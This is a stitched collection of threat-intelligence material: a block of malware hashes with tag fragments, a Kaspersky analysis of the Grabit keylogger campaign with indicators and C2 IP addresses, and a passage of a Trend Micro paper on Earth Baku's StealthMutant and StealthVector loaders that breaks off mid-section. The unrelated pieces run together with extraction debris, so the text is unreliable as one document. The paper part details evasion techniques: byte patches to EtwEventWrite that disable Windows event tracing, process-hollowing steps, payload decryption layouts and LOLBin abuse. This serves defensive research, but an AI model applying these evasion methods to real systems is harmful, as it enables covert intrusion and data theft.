9679ec817a8693c17ea60d727421e2698b190b86ad8b29ef6027ddb8a5a833b0 9ae612be7463e03a8f2dbb67d8790c79767a7dc62bc422c1578c86460040045c 9e6b22332145c55cf0bfd0c1c94a1dcebb1942d37399e3a217f8e332edfd5b74 b22082a22766f32ad72461b6f7d3ac56e6b6d8ceb6c16af804a217b51ce2fb13 b526749bed1ea4acc7ec124f22aaa608e1f970f901aa800447d45c425f31c6bf bbcec8782a23319951dd8eb3427845c47d9476c082c67c1c039fb1c2b90f0249 c4a0cf2420fa1fee9ea1b0baad61f34f457e2fb76c7e527e0c4aa7fce1523243 d1c05238f11bd280432f38796021e4945dd4271e3af5afb548aaefd86bacacaf d8f3a231499955382bbdbd2153eff6b7407cc3296169836134aa1fbd6e58552c df6efa3cb44923487f14a81106e5060eb5b4a4a74d7658ae6214f60ad664c6e5 e18b0b4625cbb965bea6fd163a273c8fa0a51b616ebad912945e09bc429b71e9 e3f42cb71bf0198967de8e8423f699d264b9de7f9d8ad8e9af8de94ea008ca6e e4ef16199362380d92a3b8786204dc9e603169c46123d8c5b214a18882d2f752 ef03d807fab11bfa1578704e7b0b743e168cf268db12f81ca27ed157376b78d1 05eb0f2513ab6b9fc7781ed3b11d5876c018efeaadc63f65ab87aad64ca75508 0af5af4d29df53aeed8ea96ea9513233a5ce93cd02b8214666d390c03312ad02 160f664a02cfe024bc54dae19e5b6b942e8c2d16ddc6fa3e2cbe5284308303fa 1674b1d3307d455c160ffa7b7da1943be59bbe1e253f106c56f48a906c20bbd1 3a47c589288513f1d659f5270c587368cb291b351db310d521135df22907d199 3b09e7a4211e3c0ce96c19237f85d89509249fcea23ba6117efde0e66ad659ee 3bf8762e6409c2aed84020b8a3d0928819b56f155b7e39c9d7706ef26f2f132a 432cdd736c031b7ff2fa86239003c062a53eefff6d916d3eac32bf4f07df000b 551752781f29e01ce802f36438428504aa94cad3777853587c4d63164eaf9000 6b66aa51ae3376e34e989225207ea738482d6ec364c96b70b9a41d6de243d15c 6dd0db7b2d33b7f37044722d49deac7a7e605da25121ef1cfde5eb7664dc9a12 8195e402d45c40fd4b86983a09030bcbafc2129b2634e968d2bed30982175bc5 similar-to ssdeep-similar 32 Research TLP: GREEN 864ac0e8a1eb9160cf8dbfb64ea3062e0010a49f52d263aa87fe31c66b183281 8af9e66c620fbd7dd9f33c536af044bdf7abde5bb4bec8f43c00c77ce28854d5 b0cd34bfe8dcbb16a4f5f91ab00f1d479b588cb1d1ac7b58e85c0a7f5a9d1230 bb19902448f8415d1f9cac13596bfff938bf181e21a6f20f43c783c762e95f8d d0d3d9507f71483cc47a4dea0a14fb80c82fb96d0686f712ab04f65810c77fd1 d9d97f68fcb21422f955c658a6c0ef621f44009c5f8666bd6b421886301204ce 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d629d6926bcdebdbd782adde181999db1beff6b56fddfb5987edc03b43bd4aca f5e4d5d5fde978968dce4db4120ecbb68898d5fdf55860e61058d91db29b7d91 fc10c49bba5597928d3d7ee07d948bc005d24184ffc6f864884aa279278064d4 fe2cc3f32deec8b0181aba57473bfffc0c1bf0ee186ea2f59eb310f6bad3fa45 084bf6c251471fb27d221c3bf818f13f0daa427a9f702e3adf52cfb3935eef0a 0bf92941743f6f9884153d0055cd341889ecca282bbbbe7cfe3fe471ac3d7f70 12368c5636ab31657d0a7f4a0a4a33e87fb2e09101bfa7b1a64d0ac6985f4af5 22ef409b0af5bc5393f4466843975d91d67d2b695aaebfc0f3e8d08fb15f283a 29650ac0b64213b26311cc0bb7c50de3e677e1eaeb23e866ac8181f8770588dc 2c3373333df07b2688e16e9114f7740e872cc3512507a61e4dea0180d5585859 42c613e1bb0880a0c696b74c8e4b67b7dbd747c915dbefb7d72cc15389f1d96c 445033a3c35f98ebeba425fe7207f1667f07d843c71d00f4a342089a37907266 8340ce4a2d4c84170968cfcc33268f288caf24ec844883412e0b6b39c0edd4bf 9471c900f7c4b5230ae4b38f496c41dcd82a9c7d27cb6a39f6520841de65d9a2 953dfa51bc7766b59cf58bbcf2fe3b32b8acf81c06f3eac80a80845c4a80b7f0 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010c36ef3a0ed7fc5dcd723cd31e6a1c91f7f75064d466647d144e974dcdb5d1 0200d41b35f2375220e855795b7b585c518102619e77f78055396e3d0c4d33a5 036e52832e6347cc43ba50f2eb5cb5640180728d7696c52a0d7934e3c739e2e5 03742a6ea4be86507e210e9183d69061d4d2b04220079c218cde52ca050597dc 0473014171a171583af25e122f44e3687e5dfc68d8a84963274a4512cc7de69d 04be4b1c238e57b1951e4cb98b7382a6bb1f875640cf576567d70ce46bc3d94c ssdeep-similar similar-to 34 Research TLP: GREEN 0678ac764576070b486b0c5ef99651ae4ee5e15dac5c963bdfbf80cdfed99637 069c6586cc73b9d0dcfe914b545a2347c19a96507469a785d380c06a3447e38e 0b5d8e30f8b557813ef3d397af978fa17cb636d0be0dcbbf2a984624d108f3ed 136773b01a4551c1356750a00cba8e88336cf5ab2abc68f3ebe1552cc43b5e82 1706d262f4e0c47e55703d8b5bec219cec705a75155815621b3615c5483b5eb9 1ba25beb1e67e4540a524a1d50982d09ae314baf0e1da804d1c52e23b791c3a4 2895a2b0c04a76abb205834f25d976465dab84644ed26386734da0d94a967214 3894043ad3ddc8fefff0987c1efa1a1d6680c96b2122263017075f74621349f8 3fd8bde9ba830347ba1a32c5aab583128702ec5c0782afe40f5c35227c800a24 48a013b08ea13c92def4eea70697e76daf0344ad0a8a31abcee3d6087fb716c7 5b55554206a329916eb2f527d2e0c72c01241cfc4e0acd8006ad28d07f6a65d6 6bda659362e0e5db3be7360ac8a9222e9aa1eb8a3ca3873eeeede8e328bb1931 a428f24de3c31a6a436d0bc373d019abf9ebd38708cf26f5a058ab8da0b8d226 ae01ac6103615e5cd5aa92bcd33fe19e74e89b9ea737c36bff1c48712d828ecf b25e2d3ef033ab8059261be9538aa1c4634d09157546f804b1dd6fc07bf99386 c31f6531241529d91a0a965e4ee48fa2efc87dd380d0db0ecbe2771c5d0d48ff d5b5c3863237f0fb623b7142c8d0361d1f52c23f86b5285a34feecea802f6684 da48bbd4a8830e8a50c66eb514b5eae569e1ef6de3463eccd9037a2df3f2c15f 136773b01a4551c1356750a00cba8e88336cf5ab2abc68f3ebe1552cc43b5e82 1da99f69735d203a3d52ff1bb2ede75fe69601259efa6c5a080024ddf9276297 34bd017464ca6b3249c4a15ecca06054495807b4817205beeb18f602dfb875a1 3c90c6589ade333d27488150155c888180cae40517eb3e8048d84d9e68e3808d 3d73fa70083397acf72d52415fe321618839420e4c0a7cb83c105a309c388318 47f991d0095ee7d53a455fb3675e8e72f41b0ba246a0ff4f329fb37bcb5b94bb 4e61dfd0a22cfc2cb3b4395ab03baed9727a04ba4aca5770066ae4c17b32dee6 68ce513adc2c39b049837ffc61d65f26887144863db05f1f6bcb240c9967b1ff 83cca2cb4fce24afc002d71f2426114a366ba3d6f44f20c0f7719581624148d6 a02d418b6fa33ee947f18eef0d0ed8d7ede6435fb78b06d1c0f706009a951324 a43d3fe80b07505e2fa01704334541d31a076e82cd22744a3272d47fc915509b bf5ea0fc899736211421260c16982991d9070e07caf2ed86e28dd1a42056cfc9 c26ece657ddfd1949587dffb263fe0419e3aae947f0de9e17785b35324535b2f e9dc6f18763f530c6664df73fab2e25723b401e5cf1c42871fd9377e49996f4d f155ec48d8e62fba4904d97a24b502e44d83392d9dca8f140f790857a4c54b4a fbd1a31cccdb4792a17b5e3fab6d8caf2ef8126f586f615fe181bcded7b4f1a1 ssdeep-similar
Grabit and the RATs Not so long ago, Kaspersky clients in the United States approached Kaspersky researchers with a request to investigate a new type of malicious software that they were able to recover from their organizations servers.
The malware calls itself Grabit and is distinctive because of its versatile behavior.
Every sample we found was different in size and activity from the others but the internal name and other identifiers were disturbingly similar.
The timestamp seems valid and close to the documented infection timeline.
Our documentation points to a campaign that started somewhere in late February 2015 and ended in mid- March.
As the development phase supposedly ended, malware started spreading from India, the United States and Israel to other countries around the globe.
All of the dozens of samples we managed to collect were programmed in Windows machine 32bit processor, over the Microsoft .NET Framework (Visual Basic/C).
Files were compiled over the course of three days, between March 7th and 9th of 2015.
The following chart illustrates how the group or individual created the samples, the size of each sample, the time of the day when each was compiled and the time lapses between each compilation.
https://kasperskycontenthub.com/securelist/files/2015/05/1.png Malware compilation timeline The smallest sample (0.52Mb) and the largest (1.57Mb) were both created on the same day, which could indicate experiments made by the group to test features, packers and dead code implementations.
Looking at the chart, it is interesting to see the modus operandi as the threat actor consistently strives to achieve a variety of samples, different code sizes and supposedly more complicated obfuscation.
Along with these different sizes, activities and obfuscation, a serious encryption algorithm was also implemented in each one of them.
The proprietary obfuscated string, methods and classes made it rather challenging to analyze.
ASLR is also enabled, which might point to an open source RAT or even a commercial framework that packed the malicious software in a well written structure.
This type of work is known as a mitigation factor for threat actors to keep their code hidden from analysts eyes.
During our research, dynamic analysis showed that the malicious softwares call home functionality communicates over obvious channels and does not go the extra mile to hide its activity.
In addition, the files themselves were not programmed to make any kind of registry maneuvers that would hide them from Windows Explorer.
Taking that into an equation, it seems that the threat actors are sending a weak knight in a heavy armor to war.
It means that whoever programmed the malware did not write all the code from scratch.
A well trained knight would never go to war with a blazing shield and yet a stick for a sword.
Looking into the call home traffic, the Keylogger functionality prepares files that act as a container for keyboard interrupts, collecting hostnames, application names, usernames and passwords.
However, the interesting part lies here.
The file names contain a very informative string: HawkEye_Keylogger_Execution_Confirmed_VICTIM 3.10.2015 6:08:31 PM HawkEye is a commercial tool that has been in development for a few years now it appeared in 2014, as a website called HawkEyeProducts, and made a very famous contribution to the hacker community.
In the website, the product shows great versatility as it contains many types of RATs, features and functionality, such as the traditional HawkEye Logger or other types of remote administration tools like Cyborg Logger, CyberGate, DarkComet, NanoCore and more.
It seems to support three types of delivery: FTP, SMTP and Web-Panel.
As seen, the malware uses a number of RATs to control its victims or track their activity.
One of the threat actors successful implementations contained the well-known DarkComet.
This convenient choose your http://hawkeyeproducts.com/ https://threatpost.com/darkcomet-rat-used-new-attack-syrian-activists-081612/76919 RAT functionality plays a very important role in the malware infection, routine and survival on the victims machine.
The DarkComet samples are more complicated than the traditional HawkEye logger.
One instance had a random key generator which sets an initialization vector of the first 4 bytes of the executable file and appends a random 5 byte key that unpacks another PE file, less than 20Kb in size.
The PE file then contains another packer with an even more challenging obfuscation technique.
The last sample we tested had still more complicated behavior.
The code itself had the same obfuscation technique, though traffic was not transferring in clear text.
Stolen data was packed and sent encrypted over HTTP random ports.
This means that the group is trying to produce other types of malicious samples with different RATs.
Approximately 10,000 stolen files have been collected.
Companies based in Thailand and India had the largest percentage of infected machines.
By looking at the stolen credentials, it is very clear that employees sent the malware to one another, as stolen host names and internal applications are the same.
The following is the full chart, updated to May 2015: Malware distribution by country Demonstrating the effectiveness of their simple Keyloggers, one C2 (on May 15th) maintained thousands of victim account credentials from hundreds of infected systems.
To sum it up, Grabit threat actors did not use any sophisticated evasions or maneuvers in their dynamic activity.
It is interesting to see the major differences between the core development of the malware and the actual functionality it uses.
Some malware samples used the same hosting server, and even the same credentials.
Could it be that our https://kasperskycontenthub.com/securelist/files/2015/05/grabit_us.png threat actor was in a hurry?
Our guess is that we are looking at a group and not an individual.
Some members of the group are more technical than the others and some are more security oriented and aware of the risks they might expose themselves to.
Back to square one: From what we have seen so far, the malware is being delivered as a Microsoft Office Word (.doc) email attachment, containing a malicious macro called AutoOpen.
This macro simply opens a socket over TCP and sends an HTTP request to a remote server that was hacked by the group to serve as a malware hub, before downloading the malware.
In some cases the malicious macro was password protected, but our threat actor might have forgotten that a .doc file is actually an archive and when that archive is opened in a convenient editor of your choice, the macro strings are shown in clear-text.
The malware is in plain view, modifying commonplace registry entries, such as the startup configurations, and not covering its tracks.
Its binaries are not deleted in most cases, and its communication is in clear- text, where the victim can sniff the communication and grab the FTP/SMTP servers credentials.
Malware derivatives are mainly located in: C:\Users\ user \AppData\Roaming\Microsoft Phishing extensions: .doc 3f77403a64a2dde60c4962a6752de601d56a621a 4E7765F3BF73AEC6E350F412B623C23D37964DFC Icons: .pdf, .doc, .ttf, .xls, .ppt, .msg, .exe Stealer: .txt, .jpeg, .eml Additional Executable names: AudioEndpointBuilder.exe BrokerInfrastructure.exe WindowsUpdate.exe Malware extensions: .zip or .exe 9b48a2e82d8a82c1717f135fa750ba774403e972b6edb2a522f9870bed57e72a ea57da38870f0460f526b8504b5f4f1af3ee490ba8acfde4ad781a4e206a3d27 0b96811e4f4cfaa57fe47ebc369fdac7dfb4a900a2af8a07a7b3f513eb3e0dfa 1948f57cad96d37df95da2ee0057dd91dd4a9a67153efc278aa0736113f969e5 1d15003732430c004997f0df7cac7749ae10f992bea217a8da84e1c957143b1c 2049352f94a75978761a5367b01d486283aab1b7b94df7b08cf856f92352166b 26c6167dfcb7cda40621a952eac03b87a2f0dff1769ab9d09dafd09edc1a4c29 2e4507ff9e490f9137b73229cb0cd7b04b4dd88637890059eb1b90a757e99bcf 3928ea510a114ad0411a3528cd894f6b65f59e3d52532d3e0c35157b1de27651 710960677066beba4db33a62e59d069676ffce4a01e63dc968ad7446158f55d6 7371983a64ef9389bf3bfa8d2abacd3a909d13c3ee8b53cccf437026d5925df5 76ba61e510a340f8751e46449a7d857a2d242bd4724d0d040b060137ab5fb31a 78970883afe52e4ee846f4a7cf75b569f6e5a8e7a830d69358a8b33d186d6fec 7c8c3247ffeb269dbf840c7648e9bfaa8cf3d375a03066b57773c48de2b6d477 7f0c4d3644fdcd8ac5bc2e007bb5c3e9eab56a3d2d470bb796af88125cd74ac9 IP Addresses: 31.220.16.147 204.152.219.78 128.90.15.98 31.170.163.242 185.77.128.65 193.0.200.136 208.91.199.223 31.170.164.81 185.28.21.35 185.28.21.32 112.209.76.184
Hara Hiroaki and Ted Lee Earth Baku An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor TREND MICRO LEGAL DISCLAIMER The information provided herein is for general information and educational purposes only.
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Contents Attack Vectors 6 Technical Analysis of the Loaders 11 Technical Analysis of the Payloads 27 Attribution 35 Conclusion and Security Recommendations 40 Appendix 42 Background 4 Published by Trend Micro Research Written by Hara Hiroaki Ted Lee Stock image used under license from Shutterstock.com Cyberespionage has become a more prevalent threat in todays security landscape, putting private enterprises and public agencies alike at risk of major upsets to their operations.
This research paper covers the technical details of a new cyberespionage campaign that we believe can be traced back to the notorious advanced persistent threat (APT) group Earth Baku.
In this campaign, Earth Bakus attacks have been leveled against companies in various countries in the Indo-Pacific region.
Trend Micro has previously covered the various methodologies employed by this APT group, which also operates under the alias APT41.
Its exploits have been well documented the group has garnered a reputation for its use of advanced, self-developed tools.1 In fact, Earth Baku has been associated with a slew of cybercrimes such as watering hole attacks2 and spear phishing attacks.3 Its previous targets include companies in the pharmaceutical and telecommunications industries.
Earth Baku has yet again updated its arsenal, as evidenced by the latest additions of two shellcode loaders, which we have named StealthVector and StealthMutant, and a modular Windows backdoor, which we have dubbed ScrambleCross.
Our in-depth analysis of these newfound malware tools revealed that they have easily customizable features and are distributed through different attack vectors, making it convenient for malicious actors to tailor them to specific victims.
This report aims to shed light on the sophisticated toolset involved in this new campaign, although Earth Bakus motives behind the development of the shellcode loaders and backdoor are not entirely clear.
While these have been probably used as part of state- backed attacks to collect competitive intelligence, the inner workings of Earth Baku itself remain unknown.
It is likely that the group is composed of threat actors who collaborate by sharing tools with diverse attack infrastructures,4 but their use of the new shellcode loaders and backdoor suggests that they have recruited members with specific areas of expertise.
4  Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor Background Late last year, we discovered a new shellcode loader designed to execute an arbitrary shellcode with a stealth mode feature.
Since then, we have found multiple variants of this loader, which we have named StealthVector, and, in addition, a shellcode loader written in C, which we have named StealthMutant.
These shellcode loaders have two different payloads: the Cobalt Strike beacon and a newly found modular backdoor, which we have dubbed ScrambleCross.
Based on their indicators, we have concluded that the threat actors behind this campaign are linked to Earth Baku, an APT group that also goes by the name APT41.
Earth Baku, a cyberespionage and cybercriminal group, was charged by the US Department of Justice in August 2020 with computer intrusion offenses related to data theft, ransomware, and cryptocurrency mining attacks.5 Earth Bakus new campaign, which has been active since at least July 2020, is related to a previous one reported by Positive Technologies6 and FireEye,7 which had used a different shellcode loader, which we had named LavagokLdr, as shown in Figure 1.
However, since the group has fully updated its toolset, we recognize this attack as an entirely new campaign.
Figure 1.
A timeline of Earth Bakus use of LavagokLdr in its previous campaign and of StealthMutant, StealthVector, and ScrambleCross in its new campaign 2020 2021 Nov 2018 onward Cobalt Strike Crosswalk Metasploit LavagokLdr Oct 2020 onward Cobalt Strike ScrambleCross StealthVector Jul 2020 onward Cobalt Strike ScrambleCross StealthMutant New campaign 5  Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor This campaign affects some Indo-Pacific countries, including India, Indonesia, Malaysia, the Philippines, Taiwan, and Vietnam, as illustrated in Figure 2.
It targets both enterprises and government entities, including organizations in the airline, computer hardware, automotive, infrastructure, publishing, media, and IT industries.
From a geopolitical point of view, many of the countries affected by this recent campaign overlap with those reported in the aforementioned indictment of Earth Baku by the US.
Figure 2.
The countries affected by the Earth Baku campaign, all in the Indo-Pacific region Source: Trend Micro Smart Protection Network infrastructure 6  Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor Attack Vectors We have observed that Earth Baku has been using multiple attack vectors for this campaign.
Exploitation Against a Web Application Upon studying one of the incident responses from the campaign, we found that Earth Baku performed an SQL injection attack on the victims web application to gain a foothold in the network, as depicted in Figure 3.
1 2 3 Attacker SQL injection VBS dropper Base64-encoded text BAT launcher StealthVector Encrypted payload The attacker exploits public Microsoft SQL Server via sqlmap.
VBS decodes the Base64-encoded text and drops the components.
The BAT file installs StealthVector as a Windows service.
Figure 3.
Earth Bakus attack chain using SQL injection as the attack vector 7  Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor Based on the Visual Basic Script (VBS) scripts used in this attack (Figure 4), we believe that the actors used sqlmap, a Python-based SQL penetration testing tool, to upload a malicious file (Figure 5).8 Figure 4.
The VBS file that is dropped in a victims machine Figure 5.
The script in sqlmap 8  Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor This dropper decodes a specified Base64-encoded file, and then drops it in a specified file path.
In such an attack, the malware creates install.bat, which installs StealthVector as a Windows service (Figure 6).
Figure 6.
StealthVector installed as a Windows service Exploitation of a Microsoft Exchange Server Vulnerability Another method involves a China Chopper web shell that is uploaded to Microsoft Exchange Server by exploiting the ProxyLogon vulnerability CVE-2021-26855.9 We also detected StealthVector on Microsoft Exchange Server, from which we inferred that Earth Baku likely deployed China Chopper using the ProxyLogon exploit, and then uploaded StealthVector using a web shell (Figure 7).
This was not the first time that Earth Baku had capitalized on the ProxyLogon exploit in its operations, as this was also reported by ESET in March 2021.10 We believe that the groups usage of this exploit is likely to continue unless enterprises address this flaw by updating their systems with the released patch.
1 2 3 Attacker ProxyLogon ASP Web Shell StealthVector The attacker exploits the Microsoft Exchange Server vulnerability.
The China Chopper web shell is deployed.
The StealthVector malware is uploaded via China Chopper.
Figure 7.
Earth Bakus attack chain using exploitation of the ProxyLogon vulnerability as the attack vector 9  Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor Possible Email Vector Upon further investigation on VirusTotal, we discovered that it is possible that the same threat actors have attempted to distribute StealthVector through LNK (link) files sent as email attachments (Figure 8).
1 2The LNK file downloads files using the renamed CertUtil.exe.
The decoy is opened and StealthVector is executed.
Attacker LNK downloader Email?
Decoy StealthVector Figure 8.
Earth Bakus attack chain possibly using an LNK file as the attack vector The LNK file renames CertUtil.exe, a legitimate Microsoft command-line tool, and uses the renamed tool to download both a decoy document and StealthVector (Figure 9).
However, we have never seen this type of infection vector in the wild.
Figure 9.
The LNK file renaming CertUtil.exe InstallUtil.exe via a Scheduled Task StealthMutant, for its part, is executed using a different mechanism.
Although we are still not certain how an attacker gains access to a system, we have discovered that StealthMutant is executed by InstallUtil.exe through a scheduled task, as illustrated in Figure 10.
10  Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor 1 2 Attacker Scheduled task InstallUtil.exe StealthMutant Encrypted payload ??
?
The attacker drops the components and adds the InstallUtil command line in a scheduled task.
InstallUtil.exe executes StealthMutant in the argument.
Figure 10.
The execution of StealthMutant through InstallUtil.exe InstallUtil.exe is a legitimate installer application under Microsofts .NET Framework, but it is also known as a living-off-the-land binary (LOLBin) that is used in the proxy execution of .NET Framework programs.
In a scheduled task, InstallUtil.exe is registered to run StealthMutant, as demonstrated in Figure 11.
Figure 11.
InstallUtil.exe being registered to run StealthMutant via a scheduled task 11  Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor Technical Analysis of the Loaders Earth Bakus new campaign takes advantage of the various capabilities of two shellcode loaders, StealthMutant and StealthVector.
StealthMutant StealthMutant is an evasive shellcode loader written in C that has been in use since at least July 2020.
It reads a file that is encrypted by AES-256-ECB, decrypts the file in memory, injects its malicious payload into a remote process, and then executes it.
We have observed that its payload has been either the Cobalt Strike beacon or the ScrambleCross backdoor.
Most of the StealthMutant samples we have come across are obfuscated by ConfuserEx, an open-source obfuscator for .NET Framework applications.
After deobfuscating these samples, we have observed raw namespaces and classes that describe their purpose (Figure 12).
Figure 12.
The namespaces and classes from the deobfuscated samples 12  Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor All the strings in StealthMutant are encrypted with the encryption algorithm AES-256-ECB and are decrypted on the spot, as shown in Figure 13.
The decrypted strings are as follows: 1.
The MagicString class provides a getter property, which decrypts strings on access.
2.
The MagicString class has an encrypted string field.
3.
The MagicString class provides __Decrypt, a wrapper method for decryption.
4.
If it is StealthMutants first time to use the __Decrypt method, the AES (Advanced Encryption Standard) key and initialization vector (IV) will be initialized based on the hard-coded __factory value, although this IV is meaningless in Electronic Code Block (ECB) mode.
The key is the SHA-256 hash, while the IV is the MD5 hash.
The values of the SHA-256 and MD5 hashes vary with each StealthMutant sample.
5.
The __Decrypt method calls the Crypto.
DecryptData method.
6.
The Crypto.
DecryptData method decrypts the given data by the hard-coded mode or, in this case, the ECB mode.
Figure 13.
The decrypted StealthMutant strings The main purpose of StealthMutant is to execute the second stage of the shellcode under stealth mode.
To this end, StealthMutant patches the EtwEventWrite functions API to disable Event Tracing for Windows (ETW), making it invisible to Windows built-in logging system.
StealthMutant appears to support both 32-bit and 64-bit architectures.
In the DoPatch method, StealthMutant determines the architecture dynamically, as demonstrated in Figure 14.
If it is running on a 32-bit operating system, StealthMutant patches the system with C2 14 00 (ret 0x14), whereas it patches a 64-bit system with 48 31 C0 C3 (xor rax, rax ret).
13  Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor Figure 14.
StealthMutant patching based on the architecture The file names of the encrypted payload are hard-coded, but these differ with each StealthMutant sample.
The file name string is also encrypted using AES-256-ECB.
If the target encrypted file exists in a current running directory, StealthMutant reads and decrypts it in memory.
Most of the StealthMutant samples use AES-256-ECB for decryption (Figure 15), but the earlier versions of the malware used XOR for decryption (Figure 16).
However, we have not spotted these previous iterations of StealthMutant since July 2020.
Figure 15.
The version of StealthMutant that uses AES-256-ECB 14  Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor Figure 16.
An older version of StealthMutant that used XOR The StealthMutant variants that use AES-256-ECB and XOR share the same decryption steps.
The StealthMutant samples that use AES have an encrypted file containing junk bytes, the signature, the seed for the key, the seed for the IV, and the encrypted payload body.
The sizes of the junk bytes, the seed for the key, and the seed for the IV vary among the samples.
The decryption algorithm of one such StealthMutant sample (Figure 17), which has a junk bytes size of 128, a key seed size of 12, and an IV seed size of 12, is as follows: 1.
Calculate the MD5 hash of the encrypted payload body.
The body is composed of the key seed, the IV seed, and the encrypted payload.
2.
Compare the MD5 hash with the signature in the encrypted file to check its integrity.
3.
Copy the specified size of bytes following the signature, and then calculate the SHA-256 hash for the AES key.
4.
Copy the specified size of bytes following the seed for the key, and then calculate the MD5 hash for AES IV.
However, this is meaningless in ECB mode.
5.
Decrypt the rest of the bytes using AES-256-ECB with the generated SHA-256 key.
6.
Compare the specified size of bytes at the top of the decrypted bytes with that of the hard-coded bytes, which can be found in the Protocol.
Flag field.
7.
If StealthMutant passes all these verifications, read the specified size of the payload.
15  Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor Figure 17.
A StealthMutant samples decryption algorithm After the decryption of its payload, StealthMutant executes this shellcode payload in a remote process by using the process hollowing technique.
As shown in Figure 18, StealthMutant performs process hollowing through the following steps: 1.
It creates a specified process, which is hard-coded in binary, in suspended mode.
2.
It creates a new section, maps a view of it in the local process by using NtCreateSection and ZwMapViewOfSection, and copies the decrypted shellcode onto this section.
3.
It maps the section to the remote process, which also results in mapping of the shellcode in the remote process.
4.
It looks for the entry point of the remote suspended process and patches it to change the execution flow into the entry of the mapped payload.
5.
Finally, it resumes the main thread of the suspended process and executes the payload.
AES-256-ECB Key  SHA-256 (bytes to generate key) Junk Signature Signature Bytes to generate key Encrypted payload Shellcode Bytes to generate IV Size 16  Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor Spawn process in suspended mode.
2 Create section, map to local process, and then copy payload.
3 Decrypt 1 Patch entry point to jump payload in DLL, and then resume thread.
5 Map view of section to remote process.
4 StealthMutant Encrypted payload Code Payload Legitimate code Payload Legitimate process Payload jmp Figure 18.
StealthMutant performing process hollowing to execute its payload This technique is widely used as a red-team tool in C. Based on its code, we assume that the author of StealthMutant possibly reused an open-source process hollowing implementation from GitHub.11 StealthVector In October 2020, we discovered StealthVector, an evasive shellcode loader written in C/C.
This malware implements various evasion techniques and is still actively being developed.
We have observed that its payload is either the Cobalt Strike beacon or the malware ScrambleCross.
(
The Japanese security service company LAC previously published a blog post discussing the Cobalt Strike beacon.12) StealthVector is designed to execute the second stage of the payload in stealth mode.
This means that its evasive techniques can be enabled and disabled by its embedded configuration.
Because of this, malicious actors can easily customize this loader for their targets.
The configuration of StealthVector (Figure 19) is embedded in its data section with ChaCha20 encryption, which is decrypted upon initialization (Figure 20).
This ChaCha20 routine notably uses a fixed custom value of 0x13 for the initial counter (Figure 21).
Figure 19.
The configuration of StealthVector 17  Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor Size of encrypted config ChaCha20 nonce for config CRC-32 of encrypted config Encrypted config Key for ChaCha20 Figure 20.
The locations of StealthVectors encrypted configuration and ChaCha20 key information Figure 21.
The fixed custom value used in the ChaCha20 routine 18  Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor According to RFC7539, the Internet Engineering Task Force (IETF) specification for the ChaCha20 stream cipher and the Poly1305 authenticator,13 the ChaCha20 algorithm uses a 32-bit initial counter.
This counter can be any number but is usually 0 or 1.
As far as we have observed, StealthVector always uses 0x13 for its initial counter, which is an uncommon practice.
This makes it difficult to decrypt the malwares configuration using common methods such as the Python library pycryptodome, which does not support custom initial counters.
The decrypted configuration data is copied onto a newly allocated buffer, which determines its behavior.
There are two types of configurations found in the wild.
One is for a local shellcode runner, which has a size of 0x38.
This type of configuration has fields for checksum, flags for context awareness, flags for evasive features, and information for the payload (Figure 22 and Figure 23).
Figure 22.
The configuration that loads the encrypted payload from StealthVectors own binary Figure 23.
The configuration that loads the encrypted payload from a defined file path The other is for a remote shellcode injector, which has a size of 0x44.
This type of configuration has fields for checksum, flags for context awareness, flags for evasive features, information for injection, and information for the payload (Figure 24 and Figure 25).
19  Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor Figure 24.
The configuration that loads the encrypted payload from a defined file path but no injection Figure 25.
The configuration that loads the encrypted payload from a defined file path and performs process injection Configurable Features StealthVector has various configurable features that enable malicious actors to easily modify its behavior.
We believe this design is meant to keep malware development simple, as the actors will not need to change its source code in order to implement these features.
We discuss these features in the succeeding subsections.
Disabling Event Tracing for Windows StealthVector can disable ETW to cover its tracks, as shown in Figure 26.
Figure 26.
StealthVector configured to disable ETW 20  Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor Context Awareness A common feature of other malware, such as mutual exclusion object (mutex) checking or username checking for context awareness, can also be configured into StealthVector, as shown in Figure 27.
Figure 27.
StealthVector configured for context awareness Logic to Determine Payload Location StealthVector decrypts and executes its payload in memory, but it can also be configured to load its encrypted payload in a specific location.
Some variants embed the payload in its binary, while others load it to another file in the same directory, whose file name is specified in the malwares configuration (Figure 28).
The decryption logic is the same for all variants of StealthVector: It reads the specific size of data from a specific offset.
The values for the offset and the size of the encrypted payload are already defined in the malwares configuration.
Afterward, the payload will be decrypted by ChaCha20.
This same routine is used in decrypting StealthVectors configuration, but the nonce for its payload is already defined in the configuration (Figure 29).
Figure 28.
A StealthVector variant that embeds its encrypted payload into a specific file 21  Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor Figure 29.
Stealthvectors decryption logic 22  Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor Self-Uninstallation StealthVector can also uninstall itself based on its configuration, as shown in Figure 30.
Figure 30.
StealthVectors uninstall configuration Shellcode Execution Techniques StealthVector implements various shellcode execution techniques.
We discuss these techniques in the succeeding subsections.
Execution Using CreateThread The simplest way for StealthVector to execute its shellcode payload is by using the CreateThread function, as shown in Figure 31.
Figure 31.
Execution of the shellcode using CreateThread Module Stomping in Local Process Some variants of StealthVector implement an evasive technique called module stomping, which is designed to bypass the detection of reflective loading.
Module stomping is well known because Cobalt Strike has implemented this feature in its version 3.11.14 In the case of StealthVector, however, the injected payload is a shellcode instead of a dynamic link library (DLL).
